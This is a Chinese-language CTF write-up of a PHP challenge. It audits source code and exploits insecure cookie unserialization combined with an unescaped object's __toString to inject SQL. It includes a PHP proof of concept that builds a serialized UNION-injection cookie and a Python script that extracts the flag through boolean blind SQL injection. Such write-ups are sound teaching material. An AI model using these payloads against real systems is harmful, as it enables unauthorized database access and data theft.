SDNISC Nowyouseeme Writeup

0x01代码审计

整体流程:

config.php 数据库连接 session配置
index.php 程序入口 显示username
login.php 登陆认证的相关操作
reg.php 注册的相关操作
user.class.php 关键文件 User类定义文件

熟悉了各个文件作用和整体流程后

发现题目突破口在于User类中的构造函数中存在一个反序列化函数

    function __construct() {
        global $mysqli;
        if( !isset( $_SESSION ) ) session_start();
        $this->dbConn = $mysqli;
        if ( !empty($_SESSION[$this->sessionVariable]) )
        {
            $this->loadUser( $_SESSION[$this->sessionVariable] );
        }
        if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
            $u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
            $this->login($u['email'], $u['password']);
        }
    }


但是单纯利用反序列化对象注入 却找不到可以直接利用的魔术方法

仅有一个__toString()方法无法利用 思路中断

public function __toString() {
        return $this->userID;
    }

继续寻找问题突破口

发现User类中的login方法存在sql注入的风险

    function login($email, $password, $remember = false, $loadUser = true)
    {
        $email  = $this->escape($email);
        $originalPassword = $password;
        $password = md5($password);
        $sql = "SELECT * FROM `{$this->dbTable}`
            WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1";
        $res = $this->query($sql, __LINE__);

        if ( $res->num_rows == 0)
            return false;
        if ($loadUser)
        {
            $this->userData = $res->fetch_array();
            $this->userID = $this->userData[$this->tbFields['userID']];
            $_SESSION[$this->sessionVariable] = $this->userID;
        }
        if ( $remember ){
            $cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
            $a = setcookie($this->remCookieName,
                           $cookie, time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
        }
        return true;
    }
function escape($str)
    {
        if (is_array($str))
        {
            $str = array_map([&$this, 'escape'], $str);
            return $str;
        }
        else if (is_string($str))
        {
            return $this->dbConn->real_escape_string($str);
        }
        else if (is_bool($str))
        {
            return ($str === false) ? 0 : 1;
        }
        else if ($str === null)
        {
            return 'NULL';
        }
        return $str;
    }

escape方法漏掉了str参数为对象的情况

而且通过反序列化后的函数存在__toString魔术方法将对象转换为userID

我们可以构造$_COOKIE[$this->remCookieName]反序列化后就是array[email,password]email为User对象 userID中存放payload 可以实现bool型sql盲注

又注意到index.php中存在username可显位

<?php
echo "Hello, ".htmlspecialchars($user->userData["username"], ENT_QUOTES, "UTF-8").". ";
?>

可以实现union select 可显注入

0x02漏洞利用

可显注入

poc:

$o=new User();
$o->userID="-1' union select 1,2,3,4#";
$exp=array('email'=>$o,'password'=>'');
echo serialize($exp);

output:

a:2:{s:5:"email";O:4:"User":10:{s:7:"dbTable";s:4:"user";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";s:25:"-1' union select 1,2,3,4#";s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}s:8:"password";s:0:"";}

p1

getflag:

p2

Bool型盲注

exp:

import requests
import base64
import random
import string

url = "http://[target_ip]/index.php"

'''
    a:2:{s:5:"email";O:4:"User":10:{s:7:"dbTable";s:5:"users";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";s:5:"hello";s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}s:8:"password";s:0:"";}
                     O:4:"User":10:{s:7:"dbTable";s:5:"users";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";            s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}

'''
def get_serialized_cookie(offset, index):
    sql = "'UNION select * from `users` where userID=1 AND (select ascii(substring(flag,{},1))={} from flag) -- a".format(offset, index)

    serialized = ('''a:2:{s:5:"email";O:4:"User":10:{s:7:"dbTable";s:5:"users";s:15:"sessionVariable";s:16:"userSessionValue";s:8:"tbFields";a:4:{s:6:"userID";s:6:"userID";s:5:"login";s:8:"username";s:4:"pass";s:8:"password";s:5:"email";s:5:"email";}s:13:"displayErrors";b:0;s:6:"userID";s:'''
        + str(len(sql))
        + ''':"'''
        + sql
        + '''";s:8:"userData";a:0:{}s:7:"remTime";i:2592000;s:13:"remCookieName";s:10:"ckSavePass";s:15:"remCookieDomain";s:0:"";s:6:"dbConn";N;}s:8:"password";s:0:"";}''')
    return serialized



flag = []

def try_once(offset, index):
    # print(get_serialized_cookie(index))
    random_sessid = "".join([random.choice(string.ascii_letters + string.digits) for x in range(8)])
    # print(base64.b64encode(get_serialized_cookie(offset, index).encode()).decode())
    cookies = dict(ckSavePass=base64.b64encode(get_serialized_cookie(offset, index).encode()).decode(),
                   PHPSESSID="qvrit68u961b9b1j81" + random_sessid)
    #print(cookies)
    r = requests.get(url, cookies=cookies)
    if r.text.find("Yes you see it.") != -1:
        flag.append(chr(index))
        print("".join(flag))
        return index

for i in range(100):
    for j in range(128):
        if try_once(i+1, j):
            print(i, j)
            break

0x03 附

源代码与数据库 Dcokerfile

参考:http://www.sdnisc.cn/detail.asp?ids=285&idss=286&idsss=719

发表评论

电子邮件地址不会被公开。 必填项已用*标注